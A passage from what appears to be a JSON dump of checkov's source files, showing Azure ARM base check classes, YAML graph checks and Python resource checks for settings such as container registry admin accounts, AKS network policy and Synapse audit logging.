    "content": "from __future__ import annotations\n\nimport re\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import Any\n\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.util.data_structures_utils import find_in_dict\nfrom checkov.common.util.type_forcers import force_list\n\nVARIABLE_DEPENDANT_REGEX = re.compile(r\"(?:parameters|variables)\\(\")\n\n\nclass BaseResourceNegativeValueCheck(BaseResourceCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: \"Iterable[CheckCategories]\",\n        supported_resources: \"Iterable[str]\",\n        missing_block_result: CheckResult = CheckResult.PASSED,\n        guideline: str | None = None,\n    ) -> None:\n        super().__init__(\n            name=name, id=id, categories=categories, supported_resources=supported_resources, guideline=guideline\n        )\n        self.missing_block_result = missing_block_result\n\n    @staticmethod\n    def _is_variable_dependant(value: Any) -> bool:\n        return bool(isinstance(value, str) and re.match(VARIABLE_DEPENDANT_REGEX, value))\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        inspected_key = self.get_inspected_key()\n        forbidden_values = self.get_forbidden_values()\n        value = find_in_dict(conf, inspected_key)\n        if value:\n            if isinstance(value, list) and len(value) == 1:\n                value = value[0]\n\n            if self._is_variable_dependant(value):\n                # If the tested attribute is variable-dependant, then result is PASSED\n                return CheckResult.UNKNOWN\n\n            if value in forbidden_values or ANY_VALUE in forbidden_values:\n                return CheckResult.FAILED\n            else:\n                return CheckResult.PASSED\n\n        return self.missing_block_result\n\n    @abstractmethod\n    def get_inspected_key(self) -> str:\n        \"\"\"\n        :return: JSONPath syntax path of the checked attribute\n        \"\"\"\n        raise NotImplementedError()\n\n    @abstractmethod\n    def get_forbidden_values(self) -> list[Any]:\n        \"\"\"\n        Returns a list of vulnerable values for the inspected key, governed by provider best practices\n        \"\"\"\n        raise NotImplementedError()\n\n    def get_evaluated_keys(self) -> list[str]:\n        return force_list(self.get_inspected_key())\n"
  },
  {
    "path": "checkov/arm/base_resource_value_check.py",
    "content": "from __future__ import annotations\n\nimport re\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import Dict, Any, List, Optional\n\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.util.data_structures_utils import find_in_dict\n\nVARIABLE_DEPENDANT_REGEX = re.compile(r\"(?:local|var|module)\\.[^\\s]+\")\n\n\nclass BaseResourceValueCheck(BaseResourceCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: Iterable[CheckCategories],\n        supported_resources: \"Iterable[str]\",\n        missing_block_result: CheckResult = CheckResult.FAILED,\n        guideline: Optional[str] = None,\n    ) -> None:\n        super().__init__(\n            name=name, id=id, categories=categories, supported_resources=supported_resources, guideline=guideline\n        )\n        self.missing_block_result = missing_block_result\n\n    @staticmethod\n    def _is_variable_dependant(value: Any) -> bool:\n        if isinstance(value, str) and re.match(VARIABLE_DEPENDANT_REGEX, value):\n            return True\n        return False\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        inspected_key = self.get_inspected_key()\n        expected_values = self.get_expected_values()\n        value = find_in_dict(conf, inspected_key)\n        if value is not None:\n            if ANY_VALUE in expected_values:\n                # Key is found in the configuration - if it accepts any value, the check is PASSED\n                return CheckResult.PASSED\n            if isinstance(value, list) and len(value) == 1:\n                value = value[0]\n            if value in expected_values:\n                return CheckResult.PASSED\n            if self._is_variable_dependant(value):\n                # If the tested attribute is variable-dependant, then result is PASSED\n                return CheckResult.PASSED\n            return CheckResult.FAILED\n        return self.missing_block_result\n\n    @abstractmethod\n    def get_inspected_key(self) -> str:\n        \"\"\"\n        :return: JSONPath syntax path of the checked attribute\n        \"\"\"\n        raise NotImplementedError()\n\n    def get_expected_values(self) -> List[Any]:\n        \"\"\"\n        Override the method with the list of acceptable values if the check has more than one possible expected value, given\n        the inspected key\n        :return: List of expected values, defaults to a list of the expected value\n        \"\"\"\n        return [self.get_expected_value()]\n\n    def get_expected_value(self) -> Any:\n        \"\"\"\n        Returns the default expected value, governed by provider best practices\n        \"\"\"\n        return True\n"
  },
  {
    "path": "checkov/arm/checks/__init__.py",
    "content": "from checkov.arm.checks.resource import *  # noqa\nfrom checkov.arm.checks.parameter import *  # noqa\n"
  },
  {
    "path": "checkov/arm/checks/graph_checks/AzureMLWorkspacePublicNetwork.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_49\"\n  name: \"Ensure that Azure Machine learning workspace is not configured with overly permissive network access\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n  - cond_type: \"attribute\"\n    resource_types: \"Microsoft.MachineLearningServices/workspaces\"\n    attribute: \"properties.publicNetworkAccess\"\n    operator: \"not_exists\"\n  - cond_type: \"attribute\"\n    resource_types: \"Microsoft.MachineLearningServices/workspaces\"\n    attribute: \"properties.publicNetworkAccess\"\n    operator: \"equals\"\n    value: \"Disabled\""
  },
  {
    "path": "checkov/arm/checks/graph_checks/AzureSpringCloudConfigWithVnet.yaml",
    "content": "metadata:\n  id: \"CKV2_AZURE_23\"\n  name: \"Ensure Azure spring cloud is configured with Virtual network (Vnet)\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - cond_type: attribute\n      resource_types: \"Microsoft.AppPlatform/Spring\"\n      attribute: \"sku.name\"\n      operator: \"not_equals_ignore_case\"\n      value: \"B0\"\n    - cond_type: attribute\n      resource_types: \"Microsoft.AppPlatform/Spring\"\n      attribute: \"properties.networkProfile.serviceRuntimeSubnetId\"\n      operator: \"exists\"\n"
  },
  {
    "path": "checkov/arm/checks/graph_checks/SynapseLogMonitoringEnabledForSQLPool.yaml",
    "content": "metadata: \n  id: \"CKV2_AZURE_54\"\n  name: \"Ensure log monitoring is enabled for Synapse SQL Pool\"\n  category: \"LOGGING\"\n\ndefinition:\n  and:\n    - cond_type: connection\n      resource_types:\n        - Microsoft.Synapse/workspaces/sqlPools\n      connected_resource_types:\n        - Microsoft.Synapse/workspaces/sqlPools/auditingSettings\n      operator: exists\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - Microsoft.Synapse/workspaces/sqlPools\n      operator: within\n\n    - or:\n      - and:\n        - cond_type: attribute\n          resource_types:\n            - Microsoft.Synapse/workspaces/sqlPools/auditingSettings\n          attribute: properties.state\n          operator: exists\n\n        - cond_type: attribute\n          resource_types:\n            - Microsoft.Synapse/workspaces/sqlPools/auditingSettings\n          attribute: properties.state\n          operator: equals\n          value: Enabled\n\n      - cond_type: attribute\n        resource_types:\n          - Microsoft.Synapse/workspaces/sqlPools/auditingSettings\n        attribute: properties.state\n        operator: not_exists"
  },
  {
    "path": "checkov/arm/checks/graph_checks/SynapseSQLPoolHasSecurityAlertPolicy.yaml",
    "content": "metadata: \n  id: \"CKV2_AZURE_51\"\n  name: \"Ensure Synapse SQL Pool has a security alert policy\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n  and:\n    - cond_type: connection\n      resource_types:\n        - Microsoft.Synapse/workspaces/sqlPools\n      connected_resource_types:\n        - Microsoft.Sql/servers/securityAlertPolicies\n      operator: exists\n    - cond_type: filter\n      attribute: resource_type\n      operator: within\n      value:\n        - Microsoft.Synapse/workspaces/sqlPools\n\n    - or:\n      - and:\n        - cond_type: attribute\n          resource_types:\n            - Microsoft.Sql/servers/securityAlertPolicies\n          attribute: properties.state\n          operator: exists\n\n        - cond_type: attribute\n          resource_types:\n            - Microsoft.Sql/servers/securityAlertPolicies\n          attribute: properties.state\n          operator: equals\n          value: Enabled\n\n      - cond_type: attribute\n        resource_types:\n          - Microsoft.Sql/servers/securityAlertPolicies\n        attribute: properties.state\n        operator: not_exists\n"
  },
  {
    "path": "checkov/arm/checks/graph_checks/SynapseSQLPoolHasVulnerabilityAssessment.yaml",
    "content": "metadata: \n  id: \"CKV2_AZURE_52\"\n  name: \"Ensure Synapse SQL Pool has vulnerability assessment attached\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n  and:\n    - resource_types:\n        - Microsoft.Synapse/workspaces/sqlPools\n      connected_resource_types:\n        - Microsoft.Sql/servers/securityAlertPolicies\n      operator: exists\n      cond_type: connection\n    - resource_types:\n        - Microsoft.Sql/servers/securityAlertPolicies\n      connected_resource_types:\n        - Microsoft.Sql/servers/vulnerabilityAssessments\n      operator: exists\n      cond_type: connection\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - Microsoft.Synapse/workspaces/sqlPools\n      operator: within\n    - or:\n      - and:\n        - cond_type: attribute\n          resource_types:\n            - Microsoft.Sql/servers/vulnerabilityAssessments\n          attribute: properties.recurringScans.isEnabled\n          operator: exists\n\n        - cond_type: attribute\n          resource_types:\n            - Microsoft.Sql/servers/vulnerabilityAssessments\n          attribute: properties.recurringScans.isEnabled\n          operator: equals\n          value: true\n\n      - cond_type: attribute\n        resource_types:\n          - Microsoft.Sql/servers/vulnerabilityAssessments\n        attribute: properties.recurringScans.isEnabled\n        operator: not_exists"
  },
  {
    "path": "checkov/arm/checks/graph_checks/SynapseWorkspaceHasExtendedAuditLogs.yaml",
    "content": "metadata: \n  id: \"CKV2_AZURE_53\"\n  name: \"Ensure Azure Synapse Workspace has extended audit logs\"\n  category: \"LOGGING\"\n\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - Microsoft.Synapse/workspaces\n      operator: within\n    - cond_type: connection\n      resource_types:\n        - Microsoft.Synapse/workspaces\n      connected_resource_types:\n        - Microsoft.Synapse/workspaces/extendedAuditingPolicies\n      operator: exists\n\n    - or:\n        - and:\n            - cond_type: attribute\n              resource_types:\n                - Microsoft.Synapse/workspaces/extendedAuditingPolicies\n              attribute: properties.state\n              operator: exists\n\n            - cond_type: attribute\n              resource_types:\n                - Microsoft.Synapse/workspaces/extendedAuditingPolicies\n              attribute: properties.state\n              operator: equals\n              value: Enabled\n\n        - cond_type: attribute\n          resource_types:\n            - Microsoft.Synapse/workspaces/extendedAuditingPolicies\n          attribute: properties.state\n          operator: not_exists"
  },
  {
    "path": "checkov/arm/checks/graph_checks/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/arm/checks/parameter/SecureStringParameterNoHardcodedValue.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_parameter_check import BaseParameterCheck\n\n\nclass SecureStringParameterNoHardcodedValue(BaseParameterCheck):\n    def __init__(self) -> None:\n        name = \"SecureString parameter should not have hardcoded default values\"\n        id = \"CKV_AZURE_131\"\n        supported_resources = ('secureString',)\n        categories = (CheckCategories.SECRETS,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        # https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/test-cases#secure-parameters-cant-have-hardcoded-default\n        default_value = conf.get('defaultValue')\n        if default_value:  # should be missing, or an empty string\n            conf[f'{self.id}_secret'] = default_value\n            return CheckResult.FAILED\n        else:\n            return CheckResult.PASSED\n\n\ncheck = SecureStringParameterNoHardcodedValue()\n"
  },
  {
    "path": "checkov/arm/checks/parameter/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/arm/checks/resource/ACRAdminAccountDisabled.py",
    "content": "from __future__ import annotations\nfrom typing import Any, List\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass ACRAdminAccountDisabled(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure ACR admin account is disabled\"\n        id = \"CKV_AZURE_137\"\n        supported_resources = (\"Microsoft.ContainerRegistry/registries\",)\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/adminUserEnabled\"\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [True]\n\n\ncheck = ACRAdminAccountDisabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/ACRAnonymousPullDisabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass ACRAnonymousPullDisabled(BaseResourceCheck):\n    ANONYMOUS_PULL_SKUS = {\"Standard\", \"Premium\"}  # noqa: CCE003  # a static attribute\n\n    def __init__(self) -> None:\n        name = \"Ensures that ACR disables anonymous pulling of images\"\n        id = \"CKV_AZURE_138\"\n        supported_resources = (\"Microsoft.ContainerRegistry/registries\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        properties = conf.get(\"properties\", {})\n\n        anonymousPullEnabled = properties.get(\"anonymousPullEnabled\")\n\n        sku = conf.get(\"sku\")\n\n        if (\n                sku is not None\n                and isinstance(sku.get(\"name\"), str)\n                and sku.get(\"name\") in ACRAnonymousPullDisabled.ANONYMOUS_PULL_SKUS\n                and properties\n                and anonymousPullEnabled\n        ):\n            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['properties', 'properties/anonymousPullEnabled', 'sku']\n\n\ncheck = ACRAnonymousPullDisabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/ACRContainerScanEnabled.py",
    "content": "\nfrom __future__ import annotations\nfrom typing import Any, Dict, List\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass ACRContainerScanEnabled(BaseResourceCheck):\n    SKUS = {\"Standard\", \"Premium\"}  # noqa: CCE003  # a static attribute\n\n    def __init__(self) -> None:\n        name = \"Enable vulnerability scanning for container images.\"\n        id = \"CKV_AZURE_163\"\n        supported_resources = (\"Microsoft.ContainerRegistry/registries\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        sku = conf.get(\"sku\", {})\n        sku_name = sku.get(\"name\")\n\n        if isinstance(sku_name, str) and sku_name in ACRContainerScanEnabled.SKUS:\n            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"sku\", \"sku/name\"]\n\n\ncheck = ACRContainerScanEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/ACREnableImageQuarantine.py",
    "content": "from __future__ import annotations\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ACREnableImageQuarantine(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure container image quarantine, scan, and mark images verified\"\n        id = \"CKV_AZURE_166\"\n        supported_resources = (\"Microsoft.ContainerRegistry/registries\",)\n        categories = (CheckCategories.SUPPLY_CHAIN,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/policies/quarantinePolicy/status\"\n\n    def get_expected_value(self) -> str:\n        return \"enabled\"\n\n\ncheck = ACREnableImageQuarantine()\n"
  },
  {
    "path": "checkov/arm/checks/resource/ACREnableZoneRedundancy.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\nfrom typing import Any\n\n\nclass ACREnableZoneRedundancy(BaseResourceCheck):\n\n    def __init__(self) -> None:\n        \"\"\"\n        Zone redundancy provides resiliency and high availability to\n        a registry or replication resource in a specific region. Supported on Premium.\n        \"\"\"\n        name = \"Ensure Azure Container Registry (ACR) is zone redundant\"\n        id = \"CKV_AZURE_233\"\n        supported_resources = (\"Microsoft.ContainerRegistry/registries\", \"Microsoft.ContainerRegistry/registries/replications\",)\n        categories = (CheckCategories.BACKUP_AND_RECOVERY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        # check registry. default=false\n        properties = conf.get(\"properties\")\n        if properties and isinstance(properties, dict):\n            self.evaluated_keys = [\"properties\"]\n            if properties.get(\"zoneRedundancy\") == \"Disabled\":\n                self.evaluated_keys = [\"properties/zoneRedundancy\"]\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = ACREnableZoneRedundancy()\n"
  },
  {
    "path": "checkov/arm/checks/resource/ACRPublicNetworkAccessDisabled.py",
    "content": "\nfrom __future__ import annotations\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ACRPublicNetworkAccessDisabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure ACR set to disable public networking\"\n        id = \"CKV_AZURE_139\"\n        supported_resources = (\"Microsoft.ContainerRegistry/registries\",)\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/publicNetworkAccess\"\n\n    def get_expected_value(self) -> str:\n        return \"Disabled\"\n\n\ncheck = ACRPublicNetworkAccessDisabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AKSApiServerAuthorizedIpRanges.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass AKSApiServerAuthorizedIpRanges(BaseResourceCheck):\n    def __init__(self) -> None:\n        # apiVersion 2017-08-03 and 2018-03-31 = Fail - No authorized IP range available\n        # apiVersion 2019-02-01, 2019-04-01, 2019-06-01 - Preview\n        # apiversion 2019-08-01 and greater are fully supported\n        name = \"Ensure AKS has an API Server Authorized IP Ranges enabled\"\n        id = \"CKV_AZURE_6\"\n        supported_resources = ('Microsoft.ContainerService/managedClusters',)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"apiVersion\" in conf:\n            if conf[\"apiVersion\"] in [\"2017-08-31\", \"2018-03-31\"]:\n                # ApiServerAuthorizedIpRanges not supported in these API versions\n                return CheckResult.FAILED\n            elif conf[\"apiVersion\"] in [\"2019-02-01\", \"2019-04-01\", \"2019-06-01\"]:\n                # apiServerAuthorizedIPRanges in Preview in these API versions\n                if \"properties\" in conf:\n                    if \"apiServerAuthorizedIPRanges\" in conf[\"properties\"]:\n                        if conf[\"properties\"][\"apiServerAuthorizedIPRanges\"]:\n                            return CheckResult.PASSED\n            else:\n                # ApiServerAuthorizedIpRanges fully supported in all future API versions\n                properties = conf.get('properties')\n                if not properties or not isinstance(properties, dict):\n                    return CheckResult.FAILED\n                api_server_access_profile = properties.get('apiServerAccessProfile')\n                if not api_server_access_profile:\n                    return CheckResult.FAILED\n                authorized_ip_ranges = api_server_access_profile.get('authorizedIPRanges')\n                if authorized_ip_ranges:\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['properties', 'properties/apiServerAccessProfile', 'properties/apiServerAccessProfile/authorizedIPRanges']\n\n\ncheck = AKSApiServerAuthorizedIpRanges()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AKSDashboardDisabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass AKSDashboardDisabled(BaseResourceCheck):\n    def __init__(self) -> None:\n        # apiVersion 2017-08-03 = Fail - No addonProfiles option to configure\n        name = \"Ensure Kubernetes Dashboard is disabled\"\n        id = \"CKV_AZURE_8\"\n        supported_resources = ('Microsoft.ContainerService/managedClusters',)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if conf.get(\"apiVersion\") is not None:\n            if conf[\"apiVersion\"] == \"2017-08-31\":\n                # No addonProfiles option to configure\n                self.evaluated_keys = [\"apiVersion\"]\n                return CheckResult.FAILED\n\n        properties = conf.get(\"properties\")\n        self.evaluated_keys = [\"properties\"]\n        if properties is None or not isinstance(properties, dict):\n            self.evaluated_keys = [\"properties\"]\n            return CheckResult.FAILED\n        addon_profiles = conf[\"properties\"].get(\"addonProfiles\")\n        if not isinstance(addon_profiles, dict):\n            self.evaluated_keys = [\"properties/addonProfiles\"]\n            return CheckResult.FAILED\n        kube_dashboard = addon_profiles.get(\"kubeDashboard\")\n        if not isinstance(kube_dashboard, dict):\n            self.evaluated_keys = [\"properties/addonProfiles/kubeDashboard\"]\n            return CheckResult.FAILED\n        enabled = kube_dashboard.get(\"enabled\")\n        if enabled is not None and str(enabled).lower() == \"false\":\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = AKSDashboardDisabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AKSEncryptionAtHostEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AKSEncryptionAtHostEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        With host-based encryption, the data stored on the VM host of\n        your AKS agent nodes' VMs is encrypted at rest and flows encrypted to the Storage service.\n        This means the temp disks are encrypted at rest with platform-managed keys.\n        The cache of OS and data disks is encrypted at rest with either platform-managed keys\n        or customer-managed keys depending on the encryption type set on those disks.\n        \"\"\"\n        name = \"Ensure that the AKS cluster encrypt temp disks, caches, and data flows \"\n        name += \"between Compute and Storage resources\"\n        id = \"CKV_AZURE_227\"\n        supported_resources = [\"Microsoft.ContainerService/managedClusters\",\n                               \"Microsoft.ContainerService/managedClusters/agentPools\"]\n        categories = [CheckCategories.KUBERNETES, ]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            missing_block_result=CheckResult.FAILED,\n        )\n\n    def get_inspected_key(self) -> str:\n        if self.entity_type == \"Microsoft.ContainerService/managedClusters\":\n            return \"properties/agentPoolProfiles/[0]/enableEncryptionAtHost\"\n        else:\n            return \"properties/enableEncryptionAtHost\"\n\n    def get_expected_value(self) -> bool:\n        return True\n\n\ncheck = AKSEncryptionAtHostEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AKSEphemeralOSDisks.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AKSEphemeralOSDisks(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        Temporary data can contain sensitive data at some points, by using ephemeral disks,\n        we ensure that data written to OS disk is stored on local VM storage and isn't persisted to Azure Storage\n        Azure automatically replicates data stored in the managed OS disk of a virtual machine to Azure storage\n        to avoid data loss in case the virtual machine needs to be relocated to another host.\n        Generally speaking, containers are not designed to have local state persisted to the managed OS disk,\n        hence this behavior offers limited value to AKS hosted while providing some drawbacks,\n        including slower node provisioning and higher read/write latency.\n        Ephemeral disks allow us also to have faster cluster operations like scale or upgrade\n        due to faster re-imaging and boot times.\n        \"\"\"\n        name = \"Ensure ephemeral disks are used for OS disks\"\n        id = \"CKV_AZURE_226\"\n        supported_resources = [\"Microsoft.ContainerService/managedClusters\",]\n        categories = [CheckCategories.KUBERNETES,]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/agentPoolProfiles/[0]/osDiskType\"\n\n    def get_expected_value(self) -> str:\n        return \"Ephemeral\"\n\n\ncheck = AKSEphemeralOSDisks()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AKSLocalAdminDisabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AKSLocalAdminDisabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure AKS local admin account is disabled\"\n        id = \"CKV_AZURE_141\"\n        supported_resources = (\"Microsoft.ContainerService/managedClusters\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/disableLocalAccounts\"\n\n    def get_expected_value(self) -> bool:\n        return True\n\n\ncheck = AKSLocalAdminDisabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AKSLoggingEnabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass AKSLoggingEnabled(BaseResourceCheck):\n    def __init__(self) -> None:\n        # apiVersion 2017-08-03 = Fail - No addonProfiles option to configure\n        name = \"Ensure AKS logging to Azure Monitoring is Configured\"\n        id = \"CKV_AZURE_4\"\n        supported_resources = (\"Microsoft.ContainerService/managedClusters\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"apiVersion\" in conf:\n            if conf[\"apiVersion\"] == \"2017-08-31\":\n                self.evaluated_keys = [\"apiVersion\"]\n                # No addonProfiles option to configure\n                return CheckResult.FAILED\n\n        properties = conf.get(\"properties\")\n        self.evaluated_keys = [\"properties\"]\n        if isinstance(properties, dict):\n            addon_profiles = properties.get(\"addonProfiles\")\n            if isinstance(addon_profiles, dict):\n                self.evaluated_keys = [\"properties/addonProfiles\"]\n                omsagent = addon_profiles.get(\"omsagent\")\n                if not omsagent:\n                    # it can be written in lowercase or camelCase\n                    omsagent = addon_profiles.get(\"omsAgent\")\n\n                if isinstance(omsagent, dict) and omsagent.get(\"enabled\"):\n                    return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = AKSLoggingEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AKSMaxPodsMinimum.py",
    "content": "from __future__ import annotations\nfrom typing import Any, List\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom typing import Optional\n\n\nclass AKSMaxPodsMinimum(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods.\"\n        id = \"CKV_AZURE_168\"\n        supported_resources = (\"Microsoft.ContainerService/managedClusters\",\n                               \"Microsoft.ContainerService/managedClusters/agentPools\", )\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        max_pods: Optional[int] = 30\n\n        properties = conf.get(\"properties\", {})\n        if properties and isinstance(properties, dict):\n            max_pods = properties.get(\"maxPods\")\n\n        if \"agentPoolProfiles\" in properties:\n            if \"maxPods\" in properties[\"agentPoolProfiles\"][0]:\n                max_pods = properties[\"agentPoolProfiles\"][0][\"maxPods\"]\n\n        if max_pods is None or max_pods < 50:\n            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"properties\", \"properties/agentPoolProfiles\", \"properties/agentPoolProfiles/maxPods\"]\n\n\ncheck = AKSMaxPodsMinimum()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AKSNetworkPolicy.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass AKSNetworkPolicy(BaseResourceCheck):\n    def __init__(self) -> None:\n        # apiVersion 2017-08-03 = Fail - No networkProfile option to configure\n        name = \"Ensure AKS cluster has Network Policy configured\"\n        id = \"CKV_AZURE_7\"\n        supported_resources = ('Microsoft.ContainerService/managedClusters',)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"apiVersion\" in conf:\n            if conf[\"apiVersion\"] == \"2017-08-31\":\n                # No networkProfile option to configure\n                return CheckResult.FAILED\n\n        properties = conf.get('properties')\n        if not properties or not isinstance(properties, dict):\n            return CheckResult.FAILED\n        network_profile = properties.get('networkProfile')\n        if not network_profile:\n            return CheckResult.FAILED\n        network_policy = network_profile.get('networkPolicy')\n        if network_policy:\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['properties', 'properties/networkProfile', 'properties/networkProfile/networkPolicy']\n\n\ncheck = AKSNetworkPolicy()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AKSPoolTypeIsScaleSet.py",
